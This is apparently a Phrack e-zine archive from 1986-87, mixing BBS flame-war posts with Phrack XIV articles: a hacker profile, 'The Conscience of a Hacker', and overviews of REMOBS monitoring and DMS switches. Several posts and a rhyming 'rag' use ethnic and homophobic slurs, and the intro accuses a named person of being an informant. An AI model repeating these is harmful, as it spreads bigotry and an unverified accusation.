Mikie, that was a rather amusing song, but in no way did anything in it come close to possibly reflecting me. I mean it is nice that you want to tell everybody about your life and all, but you really should not try to self‑project your tragedies on someone else. If you need help trying to come up with some auto‑biographical titles about yourself, you should try :

'The Life and Times of a PLP Loser Named Mikie Chow Ding Dong Dung.'

Oh, did you call me UGLY? that is quite far from the truth. Look at you, someone who as a child could use dental floss as a blindfold. calling me UGLY? Humor me more Mr. 'UGLY' Chinaman who writes files on 'Beauty Techniques'. Face it, some people are just born naturally handsome and don't need make up to disquise their grotesque features like you do.

Since you think you are SO tough, you are cordially invited to come down here to Texas where talk is cheap and doesn't mean shit. (Don't forget to bring your throwing star collection....'

Dr. Doom

Name: The Executioner #47

Date: 10:18 am Sun Sep 14, 1986

Doom, Spare me your lame tongue flapping and breath exhultation that only makes you look like the fuckoid you are. People have met me, people know that what I say is all backed up and all true. Who has met you? No one has met you so you can fling all the bullshit you want. When I say I am gorgeous, the people who have met me can always say, "I've met you and you are a dork". But do they? No, because I am not a dork unlike yourself.

I don't know where you get the idea that I am some karate dude, because I am not, and don't even care to be. Unless you are stereotyping all of us orientals like that, showing that you are in an ignorant chunk of muleflesh. And I could stereotype you, the polish, born of blue collar trash collectors. I am sure you go bowling and have bowling trophies mounted in glass cases in your cardboard house. How is that dirt floor? How is the bearskin door? I know you are of low social stature and therefore do not know or even comprehend the social elegance that I am born and bred in. So you can just take you and your $20000 income that your family makes and just save it for someone who is at your level.

Is it true that the welfare lines are long?

How was the goverment cheese giveaway?

The Sexyest Executioner

Name: >UNKNOWN<

Date: <‑> INACTIVE <‑>

As someone else already said: Please spare the rest of us users the pain of having to hit the space bar whenever the author of the message is 'Dr. Doom' or 'The Executioner', or whatever. Geez...

If all goes well, there'll be a K‑K00L Ragging Subboard, and you people can just go there and tell the other person how k‑radical you are, what a stud, how good looking, and what an asshole, loozer, rodent the other person is. I think most of the other users, along with myself, are getting quite sick of all of this...After all: This *IS* the Phrack/Gossip board, right? Yeah...

[%] The Yakuza [%]

Name: >UNKNOWN<

Date: <‑> INACTIVE <‑>

What the HELL does your looks have to do with this, Exy? It doesn't matter how 'great' looking you are, because the board wasn't put up so you could tell us how much of a ladies man you are. If you want to brag, put up your own board. And since your messages are directed to one person, USE THE FUCKING EMAIL COMMAND! thats what its there for.

Some people..

Name: The Executioner #47

Date: 10:31 am Sun Sep 14, 1986

Ass kissing? Please, spare me the vomit of your mouth huh bud? Taran says something about ISDN and since I knew something about what he said, I decided to expand it into an explanation which is definately not ass kissing. I don't kiss anyone's ass because I dont have to. Taran does not delete me out of mutual respect I have for him and I should think he has for me. Notice I don't use low‑level words like "fuck" and "shit" and all the other terms that people with IQ's of a marble statue have. So Dr. Doom is a good friend of yours huh? Probably your ONLY friend because both of you look like the Elephant Man.... "I'm Noooooooot an ANIMAL!!!", don't worry Doc, Paper bags are still in.

As for files, I have written my share, and really could care less whether or not you can read or not. As for the PhoneLine Phantoms, we are not just a telecom group, we are comprised of the 4 best looking, studliest people. When I heard about Doom, I said, well, I dunno, we will have to reduce our image of 4 studs into 4 studs and 1 dud. As for playing with my male organ, you must know more than I, considering you know all these nifty little sayings you must have thought up when you were raping that coke bottle. As for calling Doom, I call when I get a deep feeling of pity abnd decide to enlighten the poor impoverished boy.

So, why don't you, Doom, Master Vax (Circuit Breaker) go and slither back into your holes where you can fester and leave the REAL stuff to me and Culprit.

And if you really wanna take this issue far, I propose a challenge. I will send my picture to an unbiased third party and you do the same. Then we will see who is the REAL Sexy‑Exy. Oh yeah, it's Mikey, not Mikie, and Exy, not Exie, and I prefer a "Mr. Executioner, sir" before you speak to me. I will just call you little peon...

‑The Executioner

PhemalesLuv Phantoms!

PS: People who belong to something cool can post it, those who can't, don't.

Name: Taran King #1

Date: 11:00 am Sun Sep 14, 1986

PLP vs. Everyone has to stop, guys...at least on the phreak board. This is for telecommunications only. If you really want, I can create a rag subboard so you can bitch all you want, but it's getting a bit tedious out here. Exy, I know you have quite a bit of knowledge hidden somewhere in your mind, I've seen your philes, and they're decent. Dr. Doom, I know you pretty well, and I thought the two philes I read were quite decent as well.

How about a bit of unity in the crumbling phreak world that we know today, huh? It's already in shambles and people are getting totally bored of it, or are being busted. Most of us on here have been around for at very least 6 months so that says something about us...I know Exy wouldn't mind a rag board, because he excells in it, but I'll leave the final decision to the users. Go V:ote now, please, and stop posting rags...MORE INFO!!!

‑TK

GETTING PISSED!

Name: Dr. Doom #106

Date: 5:48 pm Sun Sep 14, 1986

Well, I am going to change the discussion because I am quite (yawn...) tired of this useless ragging. (By the way I drive a sports car, live in an affluent neighborhood, and am not Polish but of English decent). OK, like I was saying I am going to try to put a little life back into the Phreak World with a new Electronic Journal. The Dr. Doom Journal of Telecommunications as I call it will center around topics and techniques that have not been readily discussed. Although I will be doing a lot of writing (because I like to), I am looking for anyone else that might be interested in helping out. One of the Departments will be like a mini‑catalog of places where you can order all sorts of cool stuph from that has to do with Telecom, etc... If you are interested or even have some places to order things from, send me mail.

Later...

Dr. Doom

Name: Doc Holiday #19

Date: 11:59 pm Sat Sep 13, 1986

Well, since I have been away, I have noticed a few changes, but some things will never change I guess. Executioner is the same fag he's always been. Big deal, he has expanded his ragging capabilities all the way to Texas with Dr. Doom, who happens to be a good friend of mine. I have one question for you Mike, do you do anything else besides vegetate in front of your monitor and write songs about people? You seemed to have a very good knowledge of the content of the "Hillbillies" song. I guess that shows your level of intellect.

I really dislike ragging so this is probably the only post that will deal with it. If you have something to say to me, call me, if you can get my number I will be more than happy to toy around with you. You are shit. That is what I get out of all of this. You rag on Dr. Doom's files but, have you ever written a file with useful information in it? I seriously doubt it. Some of Doom's files are so‑so because I already know a lot of it, but many of his articles are actually quite informative. Have you even read any of them?

Also, why is it that you call him quite often every day? Have you ever left your house or anything besides to ride the little school bus to get to school? That is very doubtful also. Taran, why don't you just get rid of this nusance? Is he some sort of threat to you? Anyway, Exie, about your brown‑nosing, I see all of these rag posts of yours, then Taran posts something on ISDN and then you immediately post something on the topic, afterwhich you go back to ragging. If that isn't ass‑kissing then explain to me what is.

What about PLP, why do you even bother to exist? I am speaking mainly to Carrier Culprit and The Executioner. I remember being on three‑way with CC and someone else whom I won't name, and listening to him say things about me. I have never even talked to the person before. Then when I got on the line and talked with him, he didn't know anything. I would ask about general telecom topics and he would say "I'm sorry, I don't know much about the phone network, I hack mostly", then I would ask something about hacking and he co‑oincidentally couldn't remember his way around those systems very well because they weren't that important. Did someone mention DEC? They are a really nice company. I am involved with them quite often. I even use a DEC terminal to call places instead of a computer. The Executioner probably thinks a DEC is something you play with every night before you go }to bed, because of his personal experiences. He is a DEC (w)hacker, but anyways, I think I have made my point.

Doc Holiday

PS: Notice no fancy shit under name...sorry, but I don't take ego trips during the off season.

Name: The Executioner

Date: 2:57 pm Tue Sep 23, 1986

^

/ + \

/*TBC*\ /*TBC*\

|=====|__________________

| |

||||||| The Executioner & Egyptian Lover |||||||

|‑‑‑‑‑| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Rag | | The Breakfast Club | | Rag |

|Files| ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ |Files|

#########################

%

% Presenting: Rag Volume Four %

% ‑‑‑‑‑‑‑‑‑‑‑‑‑‑

%%%%%%%%%%%| /\/\/\/\/\/\

| Arthur Dent: Third World Iranian |

%%%%%%%%%%%%%%%%%%%%%%%%%

There's this kid called Arthur Dent, He's got no money, not one red cent. Cool and Slick is what he wants to be, He even wants to be a part of LOD! His mother country, he calls Iran, He cleans camel stalls like no one can. All he wants, is to hang around with phreaks, But there's a law against third world geeks. It says: "Get out of my country, get outta my land, Go back to your people who make houses out of sand." Pack your bags and be on your way, We don't want you 'cuz you're all gay. You think you're cool 'cuz you can hack, I hate to tell you this, but bud you're wack. I saw your picture and boy are you lame, From under a rock is where I think you came. You cry "Hey Phucked agent, please teach me!" You annoy the poor man, don't you see? You try to impress everyone in sight, One look at you and we run in fright. Ain't it funny how your temper does fume, When I say I'm in the Legion of Doom. With a cardiac arrest, you get all hyper, In case you piss in your pants, here's a diaper. Now, don't get mad from this little ol' rag, Just cover your face with a grocery bag. With a towel on your head you do declare, "Allah gimme a real life and real hair." Well, my iranian friend, I am done, I hope you don't mind me having some fun.

===============================

The above is a rag I wrote a while back, I got alot of good feedback from it so I'd thought I'd have an encore presentation.

The Executioner

Name: The Executioner

Date: 4:53 pm Sun Oct 12, 1986

Anyway, as to Quest, that little nuisance thinks he has a real bbs and he thinks just because I let him talk to me for 5 minutes he's my best friend. Frankly, I'd axe him just because he shows no sign of any capable action short of maybe masturbating his dog into a bowl of frozen tofu.

Ciao

Sexy

Name: Arthur Dent

Date: 11:06 pm Mon Oct 13, 1986

You mean PINK tofu, I think. Read read the last message if you haven't the slightest

dent

Name: Knight Lightning

Date: 10:46 pm Sun Nov 23, 1986

PLP Three‑Way Con:

Rich: Hey Mike the board is going great!

Mike: Thats good, any new users today?

Rich: A few, I haven't validated them yet...

Eric: Ho hum...

Mike: Lets call some now and check them out.

Rich: Ok, hold on...

Eric: No Rich wait wait...

Rich: I'm going to click over to three way.

Eric: NO! Wait wait Rich hold on.

Rich: I'm Going toCLICK on my three way hold on!

Mike: Whats your problem Eric?

Eric: Wait Rich, will you just wait a minute!

Rich: Ok!? What!?

Eric: Rich, (pause) You're gey!

Mike: Eric, you are the Wack!

Eric: Shut up Mike!

Mike: What? Hello, hello did you say something? Hello hello? Eric: Dag!

:Knight Lightning

From: SHERLOCK HOLMES

Date: MON FEB 16 9:04:17 PM

On a recent visit to The Iron Curtain, (I think that was the one).. well it was my first time on and they were talking about stuph like newsletters and things like that.. one post said something like this:

"Okay... I know you guys have heard of TAP and 2600, well there is a new phreak/hack newsletter. It's called Phrack [Please note that by this time Phrack X was already well underway and being distributed] try and get a file in it. Phrack is all these files. It looks really good. I would try to get a file in there to impress your friends."

Sherlock

From: DOOM PROPHET

Date: MON FEB 16 9:56:08 PM

I think common sense should be used by the authors and editors of newsletters that get around, that is, not to overplay or exaggerate anything concerning someone's feats, or knowingly print invalid information while keeping the real information for themselves. Of course, if the whole newsletter writing population (of which I am a part) started churning out idiotic files about idiotic things, then maybe the security people and rich business pigs would dismiss us as dumb kids.

Example:

!@#$%^&*()_+!@#$%^&*()_!@#$%^&*()!@#$%^&

HOW TO DISCONNECT SOMEONE'S LINE

By KODE KID 100

0k d00dz, just g0 t0 the f0ne line where it cumes out of the house and pull on it as hard as you can. Then, the loze has his line disconnected until AT&T Repair service soldiers come to fix it.

L8r111

K0DE KID 1OO

‑The Marauders

PS: Call Digit/\|_ ITS *ELITE*,tonz of k0dez 4 *REAL* hackers!

!$#@!!$^%$#&^%*^&(*^(&)(*___++((*_)&+(%^

78/81: A New Mod..

From: THE LINEMAN

Date: MON MAR 09 2:05:25 AM

I have an idea for a mod that will save the users a hell of a lot of time. Howabout put an IF THEN statement when you are saving the message so that if the name is "ORYAN QUEST" then it won't save then we won't get rodenty G‑File posts anymore. Sound good?

ciao

The Lineman

77/77: TMC...

From: MARK TABAS

Date: SAT MAR 14 12:05:38 AM

I heard that if you crank a TMC code through the DES algorithm, and then through the Cristensen CRC‑16 algorithm, followed by complementing its packed binary value and then encrypt it to "kl.LLL.hyuuuu" using the German enigma, you'll get a COSMOS dialup!

Does anyone know if this works??????

tabas

________________________________________

Well thats it, but before we go, here is a quick look at the vote section of Metal Shop Private:

Question #3: Should Oryan Quest be let back on?

Users voting: 8.7%

0:No Comment

1:No. : 3 50.0%

2:No. : 1 16.7%

3:No. : 0 0.0%

4:No. : 1 16.7%

5:No. : 0 0.0%

6:No. : 0 0.0%

7:No. : 0 0.0%

8:No. : 0 0.0%

9:No. : 1 16.7%

Your vote: No Comment

Change it? Yes

Which number (0‑9) ? 1

Current Standings: Should Oryan Quest be let back on?

Users voting: 10.1%

1:No. : 4 57.1%

2:No. : 1 14.3%

3:No. : 0 0.0%

4:No. : 1 14.3%

5:No. : 0 0.0%

6:No. : 0 0.0%

7:No. : 0 0.0%

8:No. : 0 0.0%

9:No. : 1 14.3%

Majority of Posts Taken From Metal Shop Private Some Posts Taken From The Lost City Of Atlantis

________________________________________

14

- Introduction by Knight Lightning

- Phrack Pro-Phile X Featuring Terminus by Taran King

- The Conscience of a Hacker {Reprint} by The Mentor

- The Reality of The Myth [REMOBS] by Taran King

- Understanding DMS Part II by Control C

- TRW Business Terminology by Control C

- Phrack World News Special Edition #1 by Knight Lightning

- Phrack World News Issue XIV/1 by Knight Lightning

- Phrack World News Issue XIV/2 by Knight Lightning

Introduction

==Phrack Inc.==

Issue XIV, File 1 of 9

Released On July 28, 1987

Hi and welcome to the final regular issue of Phrack Newsletter. Most of you already know about the nationwide arrest of many of the phreak/hack world's most knowledgeable members. I may receive a visit from the authorities as well and because of this and other events, I am going to leave the modem world.

As of now, Phrack Inc. is dissolved. It may put out an annual publication once a year in the summer, but this is only a possibility. If I remain a free person, I will be able to release Phrack XV which will only be news and it will feature details about Dan The Operator, PartyCon '87, and, of course, the current Secret Service bust wave.

One last thing to mention. Although I don't have the time to go into full detail about it right now, at the current time, we at Phrack Inc. have uncovered a large amount of evidence to support the conclusion that MAD HATTER is an informant. He should be deleted off of any BBSes that he calls. We believe that he was planted by the Secret Service to infiltrate PartyCon '87 and frame Control C and many others.

One last statement to make before the directory. Basically, I have wanted my escape from the phreak/hack world for a long time. I figured SummerCon '87 would be my last big thing and then I'd write the article for PWN and by July 1, 1987, I would be done and out of the modem community. Unfortunately, events just kept happening and are still in motion. Even if I am not busted, as of August 1, 1987, I am considering myself not a member of the modem community and I will not appear anywhere. If Phrack XV isn't out by then, you won't see it ever. I'm sorry, but that's the way it has to be.

This issue features:

Introduction by Knight Lightning . . . . . . . . . . . . . ..012 Apple Sectors Phrack Pro‑Phile X Featuring Terminus by Taran King. . . . ..030 Apple Sectors The Conscience of a Hacker {Reprint} by The Mentor . . . . ..017 Apple Sectors The Reality of The Myth [REMOBS] by Taran King . . . . . . ..026 Apple Sectors Understanding DMS Part II by Control C . . . . . . . . . . ..071 Apple Sectors TRW Business Terminology by Control C. . . . . . . . . . . ..021 Apple Sectors Phrack World News Special Edition #1 by Knight Lightning . ..053 Apple Sectors Phrack World News Issue XIV/1 by Knight Lightning. . . . . ..070 Apple Sectors Phrack World News Issue XIV/2 by Knight Lightning. . . . . ..101 Apple Sectors

I hope you enjoy it.

:Knight Lightning

Phrack Pro-Phile X Featuring Terminus

==Phrack Inc.==

Volume Two, Issue 14, Phile #2 of 9

==Phrack Pro‑Phile X==

Written and Created by Taran King

5/24/87

Welcome to Phrack Pro‑Phile X. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, we bring to you a sysop and user of past days...

Terminus

~~~~~

Terminus is the sysop of NetSys Unix and, in the past, ran Metronet.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

~~~~~~~~

Handle: Terminus

Call him: Len

Past handles: Terminal Technician

Handle origin: Terminal Technician originated because of Len's view of himself as a hacker. Terminus was an offshoot of that and, although it is an egotistical view, it means he has reached the final point of being a proficient hacker. Date of Birth: 1/10/59

Age at current date: 29 years old

Height: 5'9"

Weight: About 190 lbs.

Eye color: Hazel

Hair Color: Brown

Computers: 6800 home brew system, Apple ][, Altair S100, 2 Apple ][+es, IBM PC, IBM XT, IBM 3270, IBM AT, and 2 Altos 986es.

Sysop/Co‑Sysop of: MetroNet, MegaNet, and NetSys Unix.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Terminus began with the 6800 home brew system which he built himself. It was built on a STD44 bus and it had 8K of memory. He then got the Apple ][ (plain old ][) which was impressive with its cassette drive and RF modulator. He then got an Altair S100 which he liked because it looked like a mainframe and he also enjoyed building it. The 2 ][+es came along and he got himself a few floppies and a hard drive. He then sold 2 of the Apples and gave away all his software (and kept 1 Apple with a 15 meg hard drive) and got the IBM PC. He was impressed at the time and ditched the Apple. Due to frustration from switching from an Apple Cat to a Hayes, he sat down and wrote a hacker which eventually turned into CodeBuster, which was, for a long time, the only good hacker available on IBM. He then expanded and got an XT and slowly increased his amount of storage. When the AT came out, he got rid of the PC and got the AT and at the same time, bought the IBM 3270. After playing around with the AT for a long time, he sold it because he needed some money so he was left with the XT and 3270. The XT was sold to make money to buy the Altos 986 and he sold the 3270 about 4 months ago, now leaving him with the 2 Altos 986es.

Terminus started running a bulletin board with an unmentionable board to start with in 914 (where he met Paul Muad'Dib), and eventually got MetroNet going. MetroNet's original purpose was to be a phreak/hack board. It was run on an Apple ][ with 4 8" drives and 2 floppies plus a 5 meg hard drive, which made for an impressive system. It was going really well for a while, but then the hard drive crashed, leaving the board down for about a month and things slowed down after that. At that time, he got a 15 meg drive, and a 1200 modem soon followed and it stayed up for about a year and a half total, at which time Lord Digital was co‑sysop. It finally went down because he moved. MegaNet was his next system, which ran under Concurrent PC‑DOS. It looked like a public domain system, but that was camouflage. It was multi‑user (2 phone lines) and it ran on the XT. That went down because he moved again after being up for over a year. He is currently running NetSys Unix on his 2 Altos 986es which are networked. The system consists of 2 Altos 986es, an Ethernet link, 240 megs, and 4 phone lines on a hunt, 3 of which are 1200 baud and the final line is 2400 baud. To get on NetSys, it is just $5 a month and it can be reached at 301‑540‑3659 (2400 baud), and 3658‑3656 (300/1200 baud).

Terminus has never really met anyone in person from the phreak/hack community, although he had many chances to in New York when he lived there. He did go to a couple of Tap meetings, but doesn't remember anyone in specific from when he went.

Len started phreaking and hacking through a friend who worked in the phone company that told him about various things that could be done with electronics to play with the network. He was very paranoid about boxing so he never did anything like that (from his house anyway). He started hacking naturally after he got a computer. His favorite system was the University of Illinois because of its huge size and capabilities.

Some of the memorable phreak boards he was on included Plovernet, L.O.D., Pirate 80, OSUNY, Sherwood Forest I, and Shadowland.

Terminus is an electrical engineer and he designs boards for different minicomputers like PDP‑11s, Data Generals, VAXes, and Perkin‑Elmer. He also writes some software to interface the boards that he makes. He's pretty decent at machine language, but recently (maybe because of the Unix? Maybe?) he's gotten into C.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Telecommunications (modeming, phreaking, hacking), music, and smoking (ahem).

Terminus's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Smoking: Let's leave it at that.

Music: Hard rock and progressive jazz (he used to be a drummer). Programming: Writing software for fun.

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Getting interviewed by the FBI in 1983 due to someone in Iowa getting busted. The first time he discovered Alliance Teleconferencing and ran a conference.

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Krackowicz (Just a big "Thanks.")

The (414) Gizard (Sysop of Cryton Elite, thanks for giving him the phone numbers and names to everyone on your system.) Lord Digital (For being a good friend [Where the hell are you?].)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Terminus shares Tuc's views on carding and feels it's a big gap between committing fraud and learning the network. As he got older, he got more paranoid about things like that. He also feels that the phreak/hack "community" has already crumbled. He also feels that the old days were better.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this file, ...And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? No, none of the people that he hung out with. Thank you for your time, Len.

Taran King

Sysop of Metal Shop Private

The Conscience of a Hacker {Reprint}

==Phrack Inc.==

Issue XIV, File 3 of 9

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

The following file is being reprinted in honor and sympathy for the many phreaks and hackers that have been busted recently by the Secret Service. ‑KL

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

\/\The Conscience of a Hacker/\/

by

+++The Mentor+++

Written on January 8, 1986

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

Another one got caught today, it's all over the papers. "Teenager Arrested in Computer Crime Scandal," "Hacker Arrested after Bank Tampering"... Damn kids. They're all alike.

But did you, in your three‑piece psychology and 1950's technobrain, ever take a look behind the eyes of the hacker? Did you ever wonder what made him tick, what forces shaped him, what may have molded him? I am a hacker, enter my world...

Mine is a world that begins with school... I'm smarter than most of the other kids, this crap they teach us bores me...

Damn underachievers. They're all alike.

I'm in junior high or high school. I've listened to teachers explain for the fifteenth time how to reduce a fraction. I understand it. "No, Ms. Smith, I didn't show my work. I did it in my head..." Damn kid. Probably copied it. They're all alike.

I made a discovery today. I found a computer. Wait a second, this is cool. It does what I want it to. If it makes a mistake, it's because I screwed it up. Not because it doesn't like me... Or feels threatened by me...

Or thinks I'm a smart ass...

Or doesn't like teaching and shouldn't be here... Damn kid. All he does is play games. They're all alike.

And then it happened... a door opened to a world... rushing through the phone line like heroin through an addict's veins, an electronic pulse is sent out, a refuge from the day‑to‑day incompetencies is sought... a board is found.

"This is it... this is where I belong..."

I know everyone here... even if I've never met them, never talked to them, may never hear from them again... I know you all... Damn kid. Tying up the phone line again. They're all alike...

You bet your ass we're all alike... we've been spoon‑fed baby food at school when we hungered for steak... the bits of meat that you did let slip through were pre‑chewed and tasteless. We've been dominated by sadists, or ignored by the apathetic. The few that had something to teach found us willing pupils, but those few are like drops of water in the desert.

This is our world now... the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt‑cheap if it wasn't run by profiteering gluttons, and you call us criminals. We explore... and you call us criminals. We seek after knowledge... and you call us criminals. We exist without skin color, without nationality, without religious bias... and you call us criminals. You build atomic bombs, you wage wars, you murder, cheat, and lie to us and try to make us believe it's for our own good, yet we're the criminals.

Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they say and think, not what they look like. My crime is that of outsmarting you, something that you will never forgive me for.

I am a hacker, and this is my manifesto. You may stop this individual, but you can't stop us all... after all, we're all alike.

+++The Mentor+++

[May the members of the phreak community never forget his words ‑KL]

The Reality of The Myth [REMOBS]

==Phrack Inc.==

Issue XIV, File 4 of 9

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

The Reality of the Myth

REMOBS

by Taran King

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

In the past, many misconceptions have been made of the legendary REMOBS system. The term has been used and abused. It used to be known as REMOB, rather than the proper REMOBS, which stood for Remote Observation. The REMOBS is a REMote service OBservation System manufactured by Teltone, a company which makes various telephone equipment peripherals.

REMOBS has a number of features. The REMOBS permits evaluation of equipment or employee performance. It allows observation of subscriber lines, CO, toll, and E&M trunks, repair bureaus, and operator positions. It can be portable or set up as dedicated remote terminals. The observer console can sample entire networks. REMOBS is compatible with all types of switching and transmission media.

The purpose of the REMOBS system is to measure performance and service provided to customers in an impartial and unbiased manner. By monitoring the subscriber connections throughout the network switch, this can be achieved. The customer experiences are recorded and statistics are derived to provide service level indices.

REMOBS is compatible with all switching systems including Step by Step, Crossbar, and electronic equipment. In each situation, it can observe almost any transmission point such as subscriber lines, inter‑ and intra‑office trunks, toll trunks, E&M trunks, repair bureaus, commercial offices, and operator positions. The console operators can observe by phone line, from one location, any switch location/CO with the remote unit installed.

The M‑241 system (which includes the console and remote terminal) observes up to 40 circuits, but can scan up to 100 lines with a remote terminal. The terminal may observe up to 5 locations simultaneously, with a capacity to observe 500 circuits at any one time.

The REMOBS system can observe all remote terminals at any switching system location through the console controls, making it feasible to observe an entire network. Remote terminals are equipped with plug‑in connectors so they can be moved routinely to observe desired locations.

The M‑241 Remote Terminal: The remote terminal is located at the point of ========================== observation. It may be ordered in portable or dedicated configuration. The remote terminal remains inactive until accessed by the controlling console. The remote unit is 6.5" high, 22.88" wide, and 11.7" deep, arranged for relay rack mounting.

The M‑242 Observer's Console: Console operators access the remote terminals

============================= through telephone lines. Access to the remotes

is limited to console operators who know the access number, timing, and four digit security code. Additional security is available with the optional security dialback feature. The System automatically scans observed circuits. The first circuit to become busy is selected and held by the system until the necessary information is secured, the operator presses the reset button, or the calling party goes on‑hook. Timing circuits automatically drop the call 100 seconds after the calling party goes off‑hook or, if answer supervision is present, 15 seconds after the called party answers. The console itself looks very much like a cash register. Where the digits are normally, there are places for the trunk identity, called number, stop clock, and memory. The pushbutton controls consist of the following: power (key switch), hold buttons, select buttons, calling party, called party, display hold, clear, O.G. line, auto reset, reset (manual), read (stop clock operate), talk, voice exclusion, memory, plus a standard touch‑tone keypad with the A, B, C, and D keys. There are 2 monitor jacks, a volume control and, for the primitive lines and switches, a rotary dial next to the touch‑tone keypad. The operator's console stands 2.25" in the front and 8.25" in the back; it's 17,25" wide and 16.5" deep.

The observation system network is set up in the following manner. The operator observer is in an observing center at the local Central Office with the M‑242 REMOBS Central Console (which looks like a telephone to the Central Office). Through the standard telephone network, communications occurs between the console and the remote. From the CO, through the incoming circuitry, it goes through the connector to the M‑241 REMOBS Remote Terminal (which looks like a telephone to the access line). From there the connection is made to the circuits to be observed including the subscribers lines, line‑finders, toll trunks, repair lines, etc.

The information provided is both visual and audible. The visual display, showed on the panel, includes the identity of the remote terminal, the identity of the observed circuit, the signalled digits (up to 52), the status of the calling and called parties (on/off‑hook), and the timing of the call. The audible information (which is provided through headset or handset) includes the call progress tones for disposition (dial tone, type of signalling, 60 IPM, 120 IPM, ringing, answer, etc.) and voice transmission (calling and called parties).

The REMOBS system is very much different from often‑misconceived system known as 4Tel made by Teredyne. REMOBS is very much different from the dial‑up ‑ enter 1 code ‑ be given instructions simplicity of the 4Tel but it still has the legendary capabilities of listening in remotely.

If you wish to gain more information about the REMOBS system, Teltone Corporation can be written to at 10801 ‑ 120th Avenue N.E., Kirkland, WA 98033 or phoned at (206) 827‑9626.

Understanding DMS Part II

==Phrack Inc.==

Issue XIV, File 5 of 9

_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_

|_|

|_| Understanding the Digital Multiplexing System |_|

|_| Part II |_|

|_|

|_| by Control C |_|

|_|

|_| An Advanced Telecommunications, Inc. Production |_|

|_|_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_|_

DMS switches were first introduced in 1979. Since then it has been modified to interface with numerous types of switches. DMS has the ability to interface with SP‑1, #5 XBar, 1ESS, 2ESS, 3ESS, 4ESS, NX1D, NX1E, TSD, SXS, ETS4, NO. 1 EAC, NO. 2 EAX, NO. 3 EAX, TSPS, CAMA/3CL boards, Stromberg Carlson Turret of ONI and Visual Indicators, Modified North Electric TSD for ONI, Stomberg Carlson (CAMA operator Position ‑ ONI/ANI), AE #31 Switchboard, Co‑located NT/AE switchboard I/C, O/G, UDC data poller of OM, DACS (Directory Assistance Charging System), NT #144 LTD, WECO #14 LTD, WECO #16 LTD, CALRS (Centralized Automated Loop Reporting System), Badger 612A, AE #1 and #21 LTD, AE #30, SC #14 LTD, Lordel MITS70 line Test System, Porta System Line Test Unit, Pulsar II IMTS, Teradyne loop test unit, and the WECO MLT 1 (Mechanized Loop Testing System).

Common Channel Interoffice Signaling

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Common Channel Interoffice Signaling (CCIS) is a way of signaling and a way of implementing network level services. CCIS provides reliable, crystal clear data signaling links between the network and the switching offices. The CCIS signaling method uses transmission equipment that is separate from voice trunks.

Common Channel Interoffice Signaling No. 6

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The basis for the CCIS system is the International Consultative Committee on Telephone and Telegraph (CCITT) No. 6 international standard, which is brought to its fullest capacity for use in the Stored Program Control (SPC) network of AT&T.

The CCIS6 network contains a bunch of signaling regions, each having a pair of interconnected Signal Transfer Points (STP). The switching systems put into CCIS6 that connect to STPs are called Serving Offices (SO).

Band Signaling (CCIS‑BS) is used on trunk signaling for intertoll‑type trunks using the CCIS network.

Direct Signaling (CCIS‑DS) is used for signaling between SPC switching machines and a Network Control Point (NCP). At the present time, CCIS6 can handle Enhanced INWATS Originating Screening Office (OSO), Calling Card Validation (CCV), Mechanized Calling Card Service (MCCS), and Billed Number Screening (BNS). CCIS6 is available with DMS‑100/200, DMS‑200, and DMS‑100/200 or DMS‑200 with TOPS.

CCIS6 Diagram:

NSB ST

‑‑‑‑‑‑‑‑‑‑‑‑

DTC | | |

‑ ‑ ‑ DS30 | IPML | DS30 | ‑ ‑ ‑ | || | |

‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑|‑ ‑ ‑ ‑ ‑ ‑ |‑‑‑‑‑

Digital ‑ ‑ ‑ | | | ‑ ‑

Trunks | | |

| |

| |

DTC | | TM |

DIG ‑ ‑ ‑ DS30 | NUC | DS30 ‑ ‑ ‑ ‑‑‑‑‑

‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑|‑ ‑ ‑ ‑ ‑ ‑ |‑‑‑‑‑

